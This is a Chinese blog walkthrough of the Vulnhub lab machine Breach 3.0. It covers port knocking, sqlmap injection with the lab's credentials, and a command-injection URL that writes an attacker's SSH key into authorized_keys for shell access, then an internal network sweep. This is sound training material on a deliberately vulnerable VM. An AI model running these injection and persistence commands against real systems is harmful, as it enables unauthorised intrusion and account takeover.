Vulnhub靶场练习:Breach 3.0

一、环境搭建

1、官网下载地址:https://www.vulnhub.com/entry/breach-301,177/

2、将下载的环境解压出来,使用Oracle VM VirtualBox导入环境

3、Breach 3.0这个靶场没有设置固定ip地址,所以为了方便练习,我设置了桥接模式,启动环境即可

 

 二、靶场攻略

1、使用netdiscover扫描到靶场ip地址为192.168.1.114

 

 2、使用nmap -sU 192.168.1.114,发现启动了161的snmap端口

 

 3、使用snmpwalk工具,输入命令:snmpwalk -Os -c public -v 1 192.168.1.114,通过snmap获取到靶场端口一些信息

 4、从网上查询到的资料知道靶场开启了knock,所以需要敲门,在git上找到一个knock敲门脚本

下载连接:https://github.com/adaywithtape/knocker,下载之后使用命令chmod +x knocker.sh ,然后运行脚本 ./knocker.sh -i 192.168.1.114 -p 545,232,1876,运行脚本之后提示敲门成功

5、再次使用nmap扫描主机,发现开启了更多端口,其中有ssh端口

6、连接SSH,再次获取到信息

7、再次运行敲门脚本./knocker.sh -i 192.168.1.114 -p 555,423,1800,敲门成功之后,再次使用扫描,这次只有2个端口,多出一个http端口的8端口

 8、访问192.168.1.114:8,提示需要密码,账号为:milton,这个在之前做的系列靶场Breach 1中得到过,密码为:thelaststraw,登录成功

点击Place的连接,进入到一个admin登录界面

 9、因为没有密码,既然有web服务,就使用dirb爆破一下网站目录看是否有其他可以利用的

输入命令:dirb http://192.168.1.114:8/breach3/ -w -H "Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==" 

-w是不要停在警告信息上

-H添加自定义表头数据,Authorization是用来验证的表头,Basic是使用Basic加密的账号密码

 最后爆破处blog目录,和images目录

10、访问之后,看到一个提示界面,源码中看到详细信息,知道有一个账户samir

 11、再次使用dirb爆破,输入命令dirb http://192.168.1.114:8/breach3/ -w -H "Authorization: Basic bWlsdG9uOnRoZWxhc3RzdHJhdw==" /usr/share/wordlists/dirb/big.txt -X .php,.bak,.html,.txt,这次扫描更多文件后缀,但是也枚发现更多的页面

 12、返回登录框,尝试sql注入,看是否可以注入,打开BP抓取登陆界面的数据包,将数据包保存为一个文件

 

运行sqlmap,尝试注入,输入命令:

sqlmap -r 1.txt --auth-type=Basic --auth-cred=milton:thelaststraw --proxy=http://127.0.0.1:8080 --tamper=equaltolike --level=5 --risk=3 --dbms=mysql --dbs,执行之后出现一个302跳转界面,这里提示数据是否提交到302的跳转界面,要选择n,不要将数据提交过去

成功注入,得到数据库信息

在thebobs数据库中,看到一个login表,得到admin账号密码

 破解密码为:randomhash

在数据库backups中,有个info表,得到milton的密码,还有blumbergh的密码,密码为Basse 64加密了5次,最后解密为:C0ff33stainS

手动访问跳转的界面,是一个评论的站点

 13、在评论站点里,Initech Home--->Employee portal发现一个Livechat界面

 

 

 

 14、在这个表单界面,输入信息,点击Submit,会出现search搜索参数,这个参数有命令执行漏洞

 

 

 

 

 

 

 15、发现可以在sudo命令下不用密码执行的命令为账户thebobs账户下chmod的命令

 

 

 16、存在命令执行,又开启了ssh服务,就有个思路,可以在攻击机上生成一对密钥,然后将公钥写入到靶机的用户ssh密钥信息目录中,再使用自己的私钥登录

使用命令ssh-keygen -t rsa -b 1024,生成一对ssh密钥

 

 

 然后将公钥进行base 64加密

 

 

 

 

 

写入公钥到靶机: 

http://10.10.114.173:8/breach3/thebobscloudhostingllc/livechat.php?searcher=echo "c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFBZ1FERngvblkwKzVSVDlRYktjM0EzWm15Y1dabHA3NHlQaFRZd2pqTW9iVThVVUdvNVAzUmljOUxtdFZqSVFtYzNZN3FLamlJYmZiTkZWakM2U2N3ZkNvNUlSMjNYM0VGQzBHSHZldTNRS0J3dUhBVXZPaWpBTmdQdW56U3FGajYrMHMyWlhDRXZGTmtWSnR5Nk9BRjhXcFZmRmVhNURJdVgydkNBb2hWVWVwcC93PT0gcm9vdEBrYWxp" | base64 -d > /home/thebobs/.ssh/authorized_keys

 

 

 使用thebobs用户的chmod目录,对ssh目录进行权限设置:

http://10.10.114.173:8/breach3/thebobscloudhostingllc/livechat.php?searcher=sudo -u thebobs chmod 700 /home/thebobs/.ssh/

 

 

对公钥文件进行权限设置以便让传过去的公钥文件可以执行:

http://10.10.114.173:8/breach3/thebobscloudhostingllc/livechat.php?searcher=sudo -u thebobs chmod 600 /home/thebobs/.ssh/authorized_keys

 

 

使用命令:ssh -i id_rsa 10.10.114.173 -l thebobs,利用生成的私钥进行登录,成功获得shell

 

 

 17、thebobs用户的shell使用的为python的,为了方便执行交互,输入:import pty;pty.spawn('/bin/bash'),获得交互shell,成功获得可以交互的shell

 

 

使用命令ls,发现目录下有falg1,成功获得flag1

 

 

 18、通过ifconfig信息,发现机器上运行有两个libvirt实例

 

 

 

 使用命令:cat /etc/libvirt/qemu/networks/default.xml ,确定实例的ip地址范围为192.168.122.2-192.168.122.254

 

 

 使用命令:for i in $(seq 2 254); do ping -c 1 192.168.122.$i -w 1 | grep "bytes from "; done,来确定网段内存活主机的ip,得到两个实例的ip地址

 

 

 19、攻击机内安装有nmap,所以可以直接使用nmap对内部进行扫描,将两个ip地址写入targets.txt文件之中,使用命令:nmap -sT -sV -sC -p- -Pn -n -vv -oA nmap_tcp_version_scripts_full_targets -iL targets.txt,发现192.168.122.65开启80端口

 

靶场环境有问题,无法通过ssh -L 8081:192.168.122.65:80 thebobs@10.10.114.173这条命令,将靶场虚拟机里端口转发出来,所以无法进行下一步,找遍外网没有找到一篇除攻略之外的说明,这次就到这里了,等技术提升有其他别的方法之后,再来挑战!

posted @ 2020-09-21 17:25  bonga  阅读(972)  评论(1编辑  收藏  举报